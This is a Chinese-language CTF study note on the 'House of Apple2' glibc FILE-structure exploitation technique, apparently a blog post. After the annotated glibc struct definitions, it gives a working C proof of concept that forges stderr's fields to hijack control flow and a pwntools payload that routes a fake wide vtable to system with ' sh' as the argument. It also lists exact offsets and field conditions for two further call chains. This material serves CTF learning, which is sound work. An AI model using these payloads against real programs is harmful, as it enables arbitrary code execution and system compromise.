House of Apple2

IO_FILE 相关结构体源代码

struct _IO_FILE
{
 int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

 /* The following pointers correspond to the C++ streambuf protocol. */
 char *_IO_read_ptr; /* Current read pointer */
 char *_IO_read_end; /* End of get area. */
 char *_IO_read_base; /* Start of putback+get area. */
 char *_IO_write_base; /* Start of put area. */
 char *_IO_write_ptr; /* Current put pointer. */
 char *_IO_write_end; /* End of put area. */
 char *_IO_buf_base; /* Start of reserve area. */
 char *_IO_buf_end; /* End of reserve area. */

 /* The following fields are used to support backing up and undo. */
 char *_IO_save_base; /* Pointer to start of non-current get area. */
 char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 char *_IO_save_end; /* Pointer to end of non-current get area. */

 struct _IO_marker *_markers;

 struct _IO_FILE *_chain;

 int _fileno;
 int _flags2;
 __off_t _old_offset; /* This used to be _offset but it's too small. */

 /* 1+column number of pbase(); 0 is unknown. */
 unsigned short _cur_column;
 signed char _vtable_offset;
 char _shortbuf[1];

 _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
 struct _IO_FILE _file;
#endif
 __off64_t _offset;
 /* Wide character stream stuff. */
 struct _IO_codecvt *_codecvt;
 struct _IO_wide_data *_wide_data;
 struct _IO_FILE *_freeres_list;
 void *_freeres_buf;
 size_t __pad5;
 int _mode;
 /* Make sure we don't get into trouble again. */
 char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

也就是说,老版本才有 _IO_FILE_complete 的说法,新版本里面 _IO_FILE 就已经是完整的 iofile 结构体了:

struct _IO_FILE
{
 int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

 /* The following pointers correspond to the C++ streambuf protocol. */
 char *_IO_read_ptr; /* Current read pointer */
 char *_IO_read_end; /* End of get area. */
 char *_IO_read_base; /* Start of putback+get area. */
 char *_IO_write_base; /* Start of put area. */
 char *_IO_write_ptr; /* Current put pointer. */
 char *_IO_write_end; /* End of put area. */
 char *_IO_buf_base; /* Start of reserve area. */
 char *_IO_buf_end; /* End of reserve area. */

 /* The following fields are used to support backing up and undo. */
 char *_IO_save_base; /* Pointer to start of non-current get area. */
 char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 char *_IO_save_end; /* Pointer to end of non-current get area. */

 struct _IO_marker *_markers;

 struct _IO_FILE *_chain;

 int _fileno;
 int _flags2;
 __off_t _old_offset; /* This used to be _offset but it's too small. */

 /* 1+column number of pbase(); 0 is unknown. */
 unsigned short _cur_column;
 signed char _vtable_offset;
 char _shortbuf[1];

 _IO_lock_t *_lock;

 __off64_t _offset;
 /* Wide character stream stuff. */
 struct _IO_codecvt *_codecvt;
 struct _IO_wide_data *_wide_data;
 struct _IO_FILE *_freeres_list;
 void *_freeres_buf;
 size_t __pad5;
 int _mode;
 /* Make sure we don't get into trouble again. */
 char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_wide_data 的定义:

struct _IO_wide_data
{
 wchar_t *_IO_read_ptr; /* Current read pointer */
 wchar_t *_IO_read_end; /* End of get area. */
 wchar_t *_IO_read_base; /* Start of putback+get area. */
 wchar_t *_IO_write_base; /* Start of put area. */
 wchar_t *_IO_write_ptr; /* Current put pointer. */
 wchar_t *_IO_write_end; /* End of put area. */
 wchar_t *_IO_buf_base; /* Start of reserve area. */
 wchar_t *_IO_buf_end; /* End of reserve area. */
 /* The following fields are used to support backing up and undo. */
 wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
 wchar_t *_IO_backup_base; /* Pointer to first valid character of
  backup area */
 wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

 __mbstate_t _IO_state;
 __mbstate_t _IO_last_state;
 struct _IO_codecvt _codecvt;

 wchar_t _shortbuf[1];

 const struct _IO_jump_t *_wide_vtable;
};

_IO_FILE_plus:

/* We always allocate an extra word following an _IO_FILE.
  This contains a pointer to the function jump table used.
  This is for compatibility with C++ streambuf; the word can
  be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
 FILE file;
 const struct _IO_jump_t *vtable;
};

其中 FILE 跟 _IO_FILE 是完全一个东西:

#ifndef __FILE_defined
#define __FILE_defined 1

struct _IO_FILE;

/* The opaque type of streams. This is the definition used elsewhere. */
typedef struct _IO_FILE FILE;

#endif

可以看到 _IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_ 都是包含 vtable 的 _IO_FILE_plus 结构体,并且从 _IO_list_all 开始通过链表(_chain 字段)依次串联起来。

在 gdb 中使用

p &$2->file->_wide_data

p $1->file->_wide_data
p &$2->_wide_vtable

等语句可以当场算出偏移量:

House of Apple 2

使用house of apple2的条件为:

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_wide_data,一般使用largebin attack去控制

较新的 libc 版本(2.35+)中 stdin/stdout/stderr 这三个结构体所使用的 vtable :_IO_file_jumps 在调用函数指针时会检查 vtable 的合法性,我们不能随意篡改,而上面这个结构体 _IO_wide_data 所使用的 vtable:_wide_vtable 则没有这个校验。

因此,我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

PoC:

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
   printf("\033[31m[!] Backdoor is called!\n");
   _exit(0);
}

void main()
{
   setbuf(stdout, 0);
   setbuf(stdin, 0);
   setbuf(stderr, 0);

   char *p1 = calloc(0x200, 1);
   char *p2 = calloc(0x200, 1);
   puts("[*] allocate two 0x200 chunks");

   size_t puts_addr = (size_t)&puts;
   printf("[*] puts address: %p\n", (void *)puts_addr);
   size_t libc_base_addr = puts_addr - 0x80e50;
   printf("[*] libc base address: %p\n", (void *)libc_base_addr);

   size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
   printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

   size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x216dc0;
   printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
   
   // 从这里开始伪造 file 结构体
   char *stderr2 = (char *)_IO_2_1_stderr_addr;
   puts("[+] step 1: change stderr->_flags to 0x800");
   *(size_t *)stderr2 = 0x800; // 伪造 _flags,控制 rdi,有些链要用 b"s;sh"

   puts("[+] step 2: change stderr->_mode to 1");
   *(size_t *)(stderr2 + 0xc0) = 1; // 伪造 _mode,目的是启用 _wide_data 模式
 
   puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
   *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20; // 篡改虚表到 _IO_wstrn_jumps_addr 加减偏移,使得后面能调用到想要的函数(在 libc 2.39 中我们发现符号 _IO_wstrn_jumps 已被删除,已经变为了 _IO_wstr_jumps,所以这条链不要再用了)
 
   puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
   *(size_t *)(stderr2 + 0xa0) = (size_t)p1; // 篡改 _wide_data 的地址
   
   // p1 是自己的伪造的 _IO_wide_data 结构体
   puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
   *(size_t *)(p1 + 0xe0) = (size_t)p2; // 篡改原来的虚表,换成自己的虚表地址

   puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
   *(size_t *)(p1 + 0x20) = (size_t)1;  // 确保过校验

   puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
   *(size_t *)(p2 + 0x18) = (size_t)(&backdoor); // 虚表上挂后门函数地址

   puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
   fflush(stderr);
}

例题:D:\CTFExcercises\校赛出题\5_MiSide_Revenge_2.35,使用 _IO_wfile_overflow 链。

_IO_wfile_overflow
  _IO_wdoallocbuf
      _IO_WDOALLOCATE
          *(fp->_wide_data->_wide_vtable + 0x68)(fp)
payload = flat({
   # fake_IO_FILE
   0x0:  b" sh",
   0x48: 0,
   0x50: 0,
   0x58: 0,
   0x60: 0,
   0x88: libc_base + 0x205700,
   0xc0: 1,
   0xd8: _IO_wfile_jumps - 0x40, # 动调找到偏移
   0xa0: fake_wide_data,
   
   # fake _IO_wide_data
   fake_wide_offset + 0x18 : 0,
   fake_wide_offset + 0x30 : 0,
   fake_wide_offset + 0xe0 : fake_file_addr + 0x200,
   
   # fake vtable
   fake_vtable_offset + 0x68 : system_addr,
}, filler = b'\x00')

另外的链:

_IO_wfile_underflow_mmap
  _IO_wdoallocbuf
      _IO_WDOALLOCATE
          *(fp->_wide_data->_wide_vtable + 0x68)(fp)

fp的设置如下:

  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

废弃(?)链,2.35 仍可用:

_IO_wdefault_xsgetn
  __wunderflow
      _IO_switch_to_wget_mode
          _IO_WOVERFLOW
              *(fp->_wide_data->_wide_vtable + 0x18)(fp)

fp的设置如下:

  • _flags设置为0x800,要拿 shell 就填 b's;sh'
  • vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可
  • _mode设置为大于0,即满足*(fp + 0xc0) > 0
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C

上一篇
下一篇